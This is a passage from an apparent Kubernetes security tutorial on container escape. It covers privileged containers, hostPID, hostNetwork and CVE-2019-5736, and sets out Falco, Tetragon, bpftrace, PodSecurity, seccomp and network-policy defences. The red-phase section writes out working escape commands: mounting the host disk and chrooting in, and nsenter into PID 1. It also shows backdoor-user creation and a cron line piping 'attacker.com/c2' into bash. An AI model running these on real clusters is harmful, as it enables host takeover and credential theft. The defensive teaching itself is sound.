  └── From inside: host PIDs, host network, host filesystem are not visible

cgroups
  ├── Limit CPU, memory, and device access per container
  └── Prevent runaway resource consumption and limit device access scope

seccomp profiles
  ├── Filter system calls the container is allowed to invoke
  └── Block ptrace, mount, CAP_SYS_ADMIN and other privileged syscalls

Capabilities
  ├── Fine-grained kernel privileges (CAP_NET_ADMIN, CAP_SYS_ADMIN, etc.)
  └── --privileged grants ALL capabilities + disables seccomp + disables AppArmor

--privileged removes all three layers simultaneously. It grants every capability, disables the default seccomp filter, and disables AppArmor confinement. A privileged container is effectively a process running on the host with a different filesystem view — and with mount, you can fix even the filesystem view.


Red Phase: The Three Escape Paths

Path 1: –privileged Container

A privileged container has CAP_SYS_ADMIN, which includes the ability to mount arbitrary block devices. On a node with a standard Linux filesystem, /dev/sda1 or equivalent contains the host root filesystem.

Check if the current container is privileged:

# CapEff shows the effective capability set as a hex bitmask
cat /proc/1/status | grep CapEff
# CapEff: 0000003fffffffff

# Decode it
capsh --decode=0000003fffffffff | grep -o 'cap_sys_admin'
# cap_sys_admin — present means privileged

Full escape sequence:

# Step 1: Identify the host block device
# /proc/mounts shows what the container runtime mounted
cat /proc/mounts | grep ' / '
# overlay on / type overlay (rw,...,upperdir=/var/lib/containerd/...)

# Or: check fdisk/lsblk — visible in privileged container
lsblk
# NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
# sda      8:0    0   80G  0 disk
# ├─sda1   8:1    0   79G  0 part /
# └─sda2   8:2    0    1G  0 part [SWAP]

# Step 2: Mount host root filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Step 3a: Write attacker SSH key to host authorized_keys
echo "ssh-rsa AAAA..." >> /mnt/host/root/.ssh/authorized_keys

# Step 3b: Or take an immediate root shell via chroot
chroot /mnt/host /bin/bash
# Now running as root in the host filesystem
# id: uid=0(root) gid=0(root)

# Step 4: From host root — access kubelet credentials
cat /etc/kubernetes/pki/ca.crt
# Or pull the node's bootstrap token / client cert for API server access
ls /var/lib/kubelet/pki/

What persistence looks like from node root:

# Add a backdoor user to host /etc/passwd
chroot /mnt/host useradd -m -s /bin/bash -G sudo backdoor
chroot /mnt/host passwd backdoor

# Or: schedule a cron job on the host
echo "* * * * * root curl http://attacker.com/c2 | bash" \
  >> /mnt/host/etc/cron.d/maintenance

Path 2: hostPID / hostNetwork Escape

hostPID: true is a less obvious escape path than --privileged but equally dangerous. When a container shares the host PID namespace, it can see and interact with every process running on the node — including PID 1, which is running in the host’s full namespace set.

With hostPID enabled, nsenter produces a host root shell without mounting anything:

# From inside the container — see all host processes
ps aux
# This will show containerd, kubelet, systemd, sshd — everything on the node

# nsenter: enter the namespaces of PID 1 (host init process)
# -t 1: target PID 1
# -m: enter mount namespace (host filesystem)
# -u: enter UTS namespace (host hostname)
# -i: enter IPC namespace
# -n: enter network namespace
# -p: enter PID namespace
nsenter -t 1 -m -u -i -n -p -- bash

# Now running in host namespaces
hostname   # shows node hostname, not container hostname
mount | grep " / "  # shows host root mount, not container overlay
id         # uid=0(root) gid=0(root)

nsenter — a Linux utility that enters the namespaces of an existing process. With -t 1 it enters PID 1’s namespaces, which are the host’s namespaces. The result is a shell that sees the host filesystem, host network, and host process tree as if running directly on the node.

hostNetwork: true on its own does not directly produce a root shell, but it exposes the node’s network interfaces and allows binding to host ports. Combined with access to the cloud provider’s instance metadata service (IMDS), it enables credential theft from the node’s IAM role — the attack path covered in SSRF to cloud metadata and IMDSv1 exploitation.

Path 3: runc CVE Escape (CVE-2019-5736)

CVE-2019-5736 is a different attack class — it does not require a misconfiguration in the pod spec. It exploits a race condition in the runc container runtime itself.

The mechanism:

1. Attacker controls a container image
2. Image's entrypoint is a symlink: /proc/self/exe → /runc (or similar path)
3. Operator runs: kubectl exec -it <pod> -- /bin/bash
4. runc reads /proc/self/exe to find its own binary path during exec
5. Attacker's process in container has a brief window to overwrite /proc/self/exe
6. Race condition: attacker overwrites the runc binary on the host with malicious binary
7. On next runc exec, malicious binary runs as root on the host

The detection signature for runc-class escapes is writes to /proc/self/exe or writes to paths that correspond to runc’s host binary location from within a container process:

# Simplified bpftrace detection of /proc/self/exe writes (safe to run as read):
# This shows the pattern — Tetragon implements this as a continuous policy

bpftrace -e '
tracepoint:syscalls:sys_enter_write {
  // Track write() calls where the fd points to /proc/self/exe
  // In production: Tetragon handles this at the LSM hook level
  printf("PID %d comm %s writing fd %d\n", pid, comm, args->fd);
}
' 2>/dev/null | head -20

Patched versions of runc (1.0.0-rc7+, containerd 1.2.3+) fix the race condition. The practical implication: node patching is the only fix for runc-class CVEs — pod security policy cannot prevent a vulnerability in the container runtime itself.

Safe Simulation: Audit Your Cluster Before an Attacker Does

These commands are read-only and safe to run against any cluster you have kubectl access to:

# Find all pods running with --privileged
kubectl get pods -A -o json | \
  jq -r '.items[] |
    select(.spec.containers[].securityContext.privileged == true) |
    [.metadata.namespace, .metadata.name, 
     (.spec.containers[] | select(.securityContext.privileged == true) | .name)] |
    join(" / ")' | \
  sort -u

# Find pods with hostPID or hostNetwork
kubectl get pods -A -o json | \
  jq -r '.items[] |
    select(.spec.hostPID == true or .spec.hostNetwork == true) |
    [.metadata.namespace, .metadata.name,
     (if .spec.hostPID then "hostPID" else "" end),
     (if .spec.hostNetwork then "hostNetwork" else "" end)] |
    join(" / ")' | \
  grep -v "/$" | \
  sort -u

# Check for pods using hostPath mounts (host filesystem access via volume)
kubectl get pods -A -o json | \
  jq -r '.items[] |
    select(.spec.volumes[]?.hostPath != null) |
    [.metadata.namespace, .metadata.name,
     (.spec.volumes[] | select(.hostPath != null) |
      .name + "→" + .hostPath.path)] |
    join(" / ")' | \
  sort -u

# Check DaemonSets — these often run privileged and cover every node
kubectl get daemonsets -A -o json | \
  jq -r '.items[] |
    select(.spec.template.spec.containers[].securityContext.privileged == true) |
    [.metadata.namespace, .metadata.name] | join("/")' | \
  sort -u

Blue Phase: eBPF Detection

Detecting container escape attempts requires visibility below the Kubernetes API layer. Audit logs show pod creation — they do not show what a process inside the container does with mount, nsenter, or /proc/self/exe. eBPF-based tools (Falco, Tetragon) attach to kernel hooks and observe syscalls regardless of what namespace or container they originate from.

Falco: Privileged Container and Mount Detection

# Falco rules for container escape detection
# /etc/falco/rules.d/container-escape.yaml

# Rule 1: Privileged container started
- rule: Privileged Container Started
  desc: >
    A container running with --privileged was started.
    This removes all capability and seccomp restrictions.
  condition: >
    container.privileged = true and
    evt.type = execve and
    container.id != host
  output: >
    Privileged container started
    (user=%user.name user_uid=%user.uid
     command=%proc.cmdline
     container_id=%container.id
     container_name=%container.name
     image=%container.image.repository:%container.image.tag
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: WARNING
  tags: [container, privilege-escalation, OWASP-A05]

# Rule 2: Mount syscall from inside a container
- rule: Container Mount Syscall
  desc: >
    A process inside a container invoked mount().
    In a non-privileged container this fails; in a privileged container
    it succeeds and may be mounting host block devices.
  condition: >
    evt.type = mount and
    container.id != host and
    not proc.name in (container_runtime_processes)
  output: >
    Mount syscall from container
    (user=%user.name
     command=%proc.cmdline
     mount_source=%evt.arg.source
     mount_target=%evt.arg.target
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: ERROR
  tags: [container, privilege-escalation, OWASP-A04]

# Rule 3: nsenter or chroot invoked inside container
- rule: Namespace Enter or Chroot in Container
  desc: >
    nsenter or chroot executed from within a running container.
    nsenter with -t 1 enters host namespaces directly.
  condition: >
    evt.type = execve and
    container.id != host and
    proc.name in (nsenter, chroot)
  output: >
    nsenter/chroot executed in container
    (user=%user.name
     command=%proc.cmdline
     parent=%proc.pname
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: ERROR
  tags: [container, privilege-escalation, T1611]

# Rule 4: Process reading host PID tree (hostPID indicator)
- rule: Container Reading Host Process List
  desc: >
    A process inside a container is reading /proc entries for PIDs
    that don't belong to it — indicates hostPID=true and enumeration.
  condition: >
    evt.type = openat and
    fd.name startswith /proc/ and
    fd.name endswith /status and
    container.id != host and
    not fd.name startswith /proc/self
  output: >
    Container reading host process status
    (proc=%proc.cmdline fd=%fd.name
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: WARNING
  tags: [container, discovery, T1057]

Tetragon: TracingPolicy for nsenter and Mount Syscalls

Tetragon attaches eBPF programs at LSM (Linux Security Module) hooks and kernel function entry/exit points. Unlike Falco which uses a single tracepoint aggregation model, Tetragon can enforce at the kernel level — it can block a syscall before it completes, not just alert after the fact.

# Tetragon TracingPolicy: detect and optionally block container escape attempts
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: container-escape-detection
  namespace: kube-system
spec:
  kprobes:
    # Hook 1: sys_mount — detect any mount() call from a container process
    - call: "sys_mount"
      return: false
      syscall: true
      args:
        - index: 0
          type: "string"     # source device (e.g. /dev/sda1)
        - index: 1
          type: "string"     # target mount point
        - index: 2
          type: "string"     # filesystem type
      selectors:
        # Only fire for container processes (not the container runtime itself)
        - matchNamespaces:
          - namespace: Pid
            operator: NotIn
            values:
              - "host_pid_ns"   # Replace with actual host PID NS value
          matchActions:
          - action: Post        # Post = log; change to Sigkill to enforce

    # Hook 2: __x64_sys_execve for nsenter binary
    - call: "__x64_sys_execve"
      return: false
      syscall: true
      args:
        - index: 0
          type: "string"     # filename being executed
      selectors:
        - matchArgs:
          - index: 0
            operator: Postfix
            values:
              - "/nsenter"
          matchActions:
          - action: Post

  # Hook 3: write to /proc/self/exe — runc CVE class indicator
  kprobes:
    - call: "vfs_write"
      return: false
      syscall: false
      args:
        - index: 0
          type: "file"
      selectors:
        - matchArgs:
          - index: 0
            operator: Postfix
            values:
              - "/proc/self/exe"
          matchActions:
          - action: Sigkill   # Block immediately — no legitimate use case for this write

bpftrace: Quick Node-Level Validation

Before deploying Tetragon, you can validate that mount syscalls are observable from the host using bpftrace directly on a node:

# Run on the Kubernetes node (requires root or CAP_BPF)
# Safe observation mode — shows mount attempts from any process including containers

bpftrace -e '
tracepoint:syscalls:sys_enter_mount {
  printf("%-8d %-20s %-30s -> %-30s type=%s\n",
    pid, comm,
    str(args->dev_name),   // source device
    str(args->dir_name),   // mount target
    str(args->type));      // filesystem type
}
' 2>/dev/null
# Sample output:
# PID      COMM                 SOURCE                         TARGET                         TYPE
# 38471    bash                 /dev/sda1                      /mnt/host                      ext4
# 38471 and comm=bash from inside a container = escape attempt in progress
# Watch for nsenter executions across all processes on the node
bpftrace -e '
tracepoint:syscalls:sys_enter_execve {
  if (str(args->filename) == "/usr/bin/nsenter" ||
      str(args->filename) == "/bin/nsenter") {
    printf("nsenter called: pid=%d ppid=%d comm=%s\n",
      pid, curtask->real_parent->pid, comm);
  }
}
' 2>/dev/null

What Kubernetes Audit Logs Show (and What They Miss)

Kubernetes audit logs record API server activity. They show pod creation with --privileged set — but only if you are watching pod spec creation events. They do not show anything that happens inside the container after it starts.

# Enable audit policy to capture pod creation with privileged spec
# /etc/kubernetes/audit-policy.yaml (excerpt)

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  # Log pod creation at RequestResponse level (captures full spec)
  - level: RequestResponse
    resources:
      - group: ""
        resources: ["pods"]
    verbs: ["create", "update", "patch"]

  # Log exec into pods — this is the entry point for escape attempts
  - level: RequestResponse
    resources:
      - group: ""
        resources: ["pods/exec"]
    verbs: ["create"]
# Parse audit log for privileged pod creation
grep '"privileged":true' /var/log/kubernetes/audit.log | \
  jq -r '[
    .requestReceivedTimestamp,
    .user.username,
    .objectRef.namespace + "/" + .objectRef.name,
    "privileged=true"
  ] | join(" | ")'

# Or via kubectl (if audit log backend is configured)
kubectl get events -A --field-selector reason=Created \
  -o json | \
  jq -r '.items[] |
    select(.message | contains("privileged")) |
    [.metadata.namespace, .involvedObject.name, .message] |
    join(" / ")'

The audit log gap is important to understand: audit logs are a first-alert layer for misconfigured pod creation, not a detection layer for in-progress escape. By the time you see a pod/exec event in audit logs, the attacker already has a shell. eBPF-based detection at the syscall level is what catches the escape itself.


Purple Phase: Structural Fixes

Fix 1: PodSecurity Admission — Enforce Restricted Profile

PodSecurity admission (built into Kubernetes 1.25+, replacing PodSecurityPolicy) enforces security profiles at the namespace level. The Restricted profile blocks --privileged, hostPID, hostNetwork, hostPath volumes, and requires dropping all capabilities.

# Enforce the Restricted PodSecurity profile on a namespace
# This blocks any pod that doesn't meet the criteria from scheduling
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    # enforce: pod is rejected at admission if spec violates Restricted
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
    # audit: violations are logged but not rejected (useful for rollout)
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/audit-version: latest
    # warn: user gets a warning but pod is allowed (for migration)
    pod-security.kubernetes.io/warn: restricted
    pod-security.kubernetes.io/warn-version: latest

What Restricted profile blocks (relevant to escape paths):

# These settings are REQUIRED by Restricted — apply them explicitly
# to avoid the admission webhook rejecting your workloads

securityContext:
  # Pod-level
  runAsNonRoot: true
  seccompProfile:
    type: RuntimeDefault    # or Localhost with a custom profile

containers:
  - securityContext:
      allowPrivilegeEscalation: false
      privileged: false          # blocks Path 1
      capabilities:
        drop: ["ALL"]            # no CAP_SYS_ADMIN, no CAP_NET_ADMIN
        add: []                  # add only what is specifically required
      readOnlyRootFilesystem: true  # reduces attacker persistence options

# Pod spec — blocked by Restricted
spec:
  hostPID: false           # must be false (blocks Path 2)
  hostNetwork: false       # must be false
  hostIPC: false           # must be false
  volumes:                 # hostPath volumes blocked
    - name: app-data
      emptyDir: {}         # emptyDir, configMap, secret allowed; hostPath not

Rollout approach for existing clusters:

Start with warn mode on all namespaces, identify violations, remediate, then promote to enforce:

# Label all non-system namespaces with warn mode first
kubectl get namespaces -o json | \
  jq -r '.items[] |
    select(.metadata.name | test("^(kube-system|kube-public|kube-node-lease)$") | not) |
    .metadata.name' | \
  while read ns; do
    kubectl label namespace "$ns" \
      pod-security.kubernetes.io/warn=restricted \
      pod-security.kubernetes.io/warn-version=latest \
      --overwrite
    echo "Labeled $ns"
  done

# After a deployment cycle, check for warnings in admission logs
# Look for pods that would be rejected under enforce mode
kubectl get events -A --field-selector reason=FailedCreate \
  -o json | jq -r '.items[] | select(.message | contains("violates PodSecurity"))'

Fix 2: RuntimeClass — Hardware-Level Isolation for Untrusted Workloads

For workloads that cannot run under Restricted profile (CNI plugins, monitoring agents, specific DaemonSets), the alternative is a stronger isolation boundary: a hypervisor-level runtime.

gVisor and Kata Containers intercept system calls at a layer between the container and the Linux kernel, so a container escape exploiting a kernel vulnerability or a privileged mount hits the sandbox boundary, not the host kernel.

# Define a RuntimeClass for gVisor (runsc)
# Requires gVisor installed on nodes with the runsc runtime handler
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc   # must match the handler name in containerd/crio config
scheduling:
  nodeSelector:
    runtime.gvisor: "true"   # only schedule on nodes that have gVisor
---
# Use the RuntimeClass in a pod spec
apiVersion: v1
kind: Pod
metadata:
  name: untrusted-workload
spec:
  runtimeClassName: gvisor   # all syscalls go through gVisor's sentry
  containers:
    - name: app
      image: untrusted-image:latest
# Kata Containers: hardware VM boundary, not just a user-space syscall interceptor
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: kata-containers
handler: kata-qemu

For operators: gVisor and Kata Containers have compatibility trade-offs. Not all syscalls are supported in gVisor (it implements a subset of the Linux ABI). Kata Containers have higher startup latency (VM boot time). Benchmark your specific workload before enforcing these on production-critical pods.

Fix 3: Seccomp Profile — Block the Syscalls That Enable Escape

Even without gVisor, a custom seccomp profile that explicitly denies mount, unshare, and clone with namespace flags closes the primary escape syscall surface.

{
  "defaultAction": "SCMP_ACT_ERRNO",
  "architectures": ["SCMP_ARCH_X86_64", "SCMP_ARCH_X86", "SCMP_ARCH_X32"],
  "syscalls": [
    {
      "names": [
        "accept", "accept4", "access", "arch_prctl",
        "bind", "brk", "capget", "capset",
        "chdir", "chmod", "chown", "clock_gettime",
        "clone",
        "close", "connect",
        "dup", "dup2", "dup3",
        "execve", "exit", "exit_group",
        "fchmod", "fchown", "fcntl",
        "fstat", "fstatfs", "fsync",
        "futex", "getcwd", "getdents64",
        "getegid", "geteuid", "getgid", "getgroups",
        "getpeername", "getpid", "getppid",
        "getrlimit", "getsockname", "getsockopt",
        "gettid", "gettimeofday", "getuid",
        "inotify_add_watch", "inotify_init1",
        "listen", "lseek", "lstat",
        "madvise", "mmap", "mprotect",
        "munmap", "nanosleep",
        "open", "openat",
        "pipe", "pipe2", "poll", "ppoll",
        "prctl", "pread64", "pwrite64",
        "read", "readlink", "readv",
        "recvfrom", "recvmsg", "recvmmsg",
        "rename", "rt_sigaction", "rt_sigprocmask",
        "rt_sigreturn", "sched_getaffinity",
        "select", "sendfile", "sendmsg", "sendto",
        "set_robust_list", "set_tid_address",
        "setgid", "setgroups", "setuid",
        "setsockopt", "shutdown",
        "socket", "socketpair",
        "stat", "statfs", "symlink",
        "tgkill", "time", "timerfd_create",
        "timerfd_settime", "truncate",
        "uname", "unlink", "unlinkat",
        "wait4", "waitid",
        "write", "writev"
      ],
      "action": "SCMP_ACT_ALLOW"
    }
  ]
}

Apply via pod spec:

spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: "container-escape-block.json"
      # Profile must be in /var/lib/kubelet/seccomp/ on each node
# Distribute the seccomp profile to all nodes via DaemonSet
# Example using a DaemonSet that copies the profile file on startup
# (or use the built-in RuntimeDefault which blocks ~300 dangerous syscalls)

# RuntimeDefault blocks: mount, unshare, clone with new-ns flags,
# add_key, keyctl, request_key, pivot_root — adequate for most workloads
spec:
  securityContext:
    seccompProfile:
      type: RuntimeDefault

Fix 4: Network Policy — Contain the Blast Radius After Escape

Even if a container escapes to the node, a network policy that prevents the escaped process from reaching the Kubernetes API server limits what the attacker can do with node credentials.

# Deny all egress from application namespace to Kubernetes API server
# The API server typically runs on port 6443 on the control plane nodes
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-api-server-egress
  namespace: production
spec:
  podSelector: {}       # applies to all pods in namespace
  policyTypes:
    - Egress
  egress:
    # Allow DNS
    - ports:
        - protocol: UDP
          port: 53
    # Allow application traffic (customize per workload)
    - to:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: production
    # Explicitly: no rule allowing egress to control plane CIDR
    # This is a deny-by-absence — egress to control plane falls through to default deny
# Also block pod-to-pod communication across namespaces
# to prevent an escaped pod from pivoting to other workloads
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: production
spec:
  podSelector: {}
  policyTypes:
    - Ingress
    - Egress
  # No ingress or egress rules = deny all
  # Add specific rules above this as needed

Fix 5: Node Isolation — Co-location Risk

An internet-facing pod and a pod with access to sensitive internal services should not share a node. If the internet-facing pod escapes, it reaches the node’s credentials and can pivot to anything else scheduled on that node.

# Use node selectors, taints, and tolerations to separate workload tiers

# Taint sensitive nodes so only specific workloads schedule there
kubectl taint nodes sensitive-node-1 workload-tier=sensitive:NoSchedule

# Internet-facing pods: dedicated public-tier nodes
# Internal/privileged pods: dedicated sensitive-tier nodes

# Pod spec for internet-facing workload — only schedules on public nodes
spec:
  nodeSelector:
    workload-tier: public
  tolerations: []   # No toleration for sensitive node taint

# Pod spec for sensitive workload — only schedules on sensitive nodes
spec:
  nodeSelector:
    workload-tier: sensitive
  tolerations:
    - key: workload-tier
      operator: Equal
      value: sensitive
      effect: NoSchedule

⚠ Production Gotchas

Legitimate workloads that require –privileged or hostPID. CNI plugins (Cilium, Calico, Flannel node agents), node-local-dns, monitoring agents (node exporters, eBPF-based agents like Tetragon itself), and storage drivers often need elevated access. Blanket enforcement of Restricted profile without exceptions breaks these workloads. The approach: enforce Restricted on application namespaces; use a dedicated namespace for infrastructure DaemonSets with the Baseline or Privileged policy and compensate with Falco detection and node isolation.

Seccomp Restricted blocks some monitoring agents. The default Restricted seccomp profile blocks several syscalls that APM agents and profiling tools use. Run strace -c -f ./your-agent to capture the syscall profile of your monitoring agent before enforcing Restricted. Common culprits: perf_event_open (used by profilers), ptrace (used by some debuggers), bpf (used by eBPF-based tools). Add these to an allowlist seccomp profile rather than running the agent without any profile.

runc CVEs require node patching, not policy. PodSecurity admission and Falco rules protect against configuration-based escapes. A vulnerability in runc, containerd, or the Linux kernel itself bypasses policy-based controls entirely. Keep container runtime versions current; enable automatic node OS patching (Bottlerocket, Flatcar Linux) if your infrastructure allows it. Subscribe to CVE feeds for containerd (containerd/containerd) and runc (opencontainers/runc) specifically.

hostPath volumes are a partial equivalent to –privileged. A pod without --privileged but with a hostPath volume mounting /etc or /var/lib/kubelet can read node credentials without needing to mount a block device. PodSecurity Restricted blocks hostPath entirely; Baseline allows it. Audit for hostPath volumes separately from --privileged.

RuntimeClass with gVisor has syscall compatibility gaps. Applications that use io_uring, certain socket options, or kernel modules will not work under gVisor’s sentry. Test in staging before deploying to production. The gVisor compatibility matrix is documented at gvisor.dev/docs/user_guide/compatibility — check it for any application that does direct filesystem I/O at high volume (databases, high-throughput queues) as the overhead may be unacceptable even if the syscalls are supported.


Quick Reference

Escape Path Precondition Detection Signal Structural Fix
Privileged container → mount privileged: true Falco: mount syscall from container; Tetragon: sys_mount kprobe PodSecurity Restricted enforce; seccomp blocks mount
hostPID + nsenter hostPID: true Falco: nsenter exec in container; audit log: pod creation with hostPID PodSecurity Restricted; blocks hostPID
hostNetwork + IMDS hostNetwork: true CloudTrail: IMDSv1 call from unexpected source Enforce IMDSv2 hop limit 1; PodSecurity Restricted
runc CVE (CVE-2019-5736) Unpatched runc Tetragon: vfs_write to /proc/self/exe Patch runc/containerd; use RuntimeClass (gVisor)
hostPath volume mount hostPath to sensitive path Falco: sensitive host file access; PodSecurity audit PodSecurity Restricted (blocks hostPath)
Escaped → API server Node credential access Audit log: API calls from node IP at unexpected time Network policy blocking node→API server egress

Key Takeaways

  • Kubernetes container escape starts at the kernel: --privileged, hostPID, and hostNetwork remove Linux namespace and cgroup isolation — the Kubernetes API cannot prevent what happens inside a process that runs with those flags
  • Two commands from privileged container to root on the node: mount /dev/sda1 /mnt/host and chroot /mnt/host /bin/bash — this is not a sophisticated exploit, it is a default kernel behavior
  • eBPF detection (Falco, Tetragon) operates at the syscall level and catches the escape in progress; Kubernetes audit logs only catch the misconfigured pod creation, not the exploitation
  • PodSecurity Restricted enforcement at the namespace level is the structural fix for configuration-based escapes — it blocks --privileged, hostPID, hostNetwork, and hostPath volumes before a pod schedules
  • runc-class CVEs are independent of configuration — node-level patching and RuntimeClass (gVisor/Kata) isolation are the controls, not policy enforcement
  • Network policy as a secondary layer limits post-escape lateral movement: a container that escapes to the node should not be able to reach the API server with stolen node credentials

What’s Next

Container escape requires access to a running pod. But what if the attacker didn’t need to exploit anything at runtime — they shipped the attack as a dependency your build pipeline trusted? EP09 covers supply chain attacks from SolarWinds to XZ Utils: how a malicious package or a compromised build step becomes arbitrary code execution before the container ever runs, the detection patterns that are specific to supply chain compromise (dependency confusion, typosquatting, malicious maintainer takeovers), and the SLSA framework controls that create a verifiable chain of custody from source to deployed artifact.

Get EP09 in your inbox when it publishes → subscribe at linuxcent.com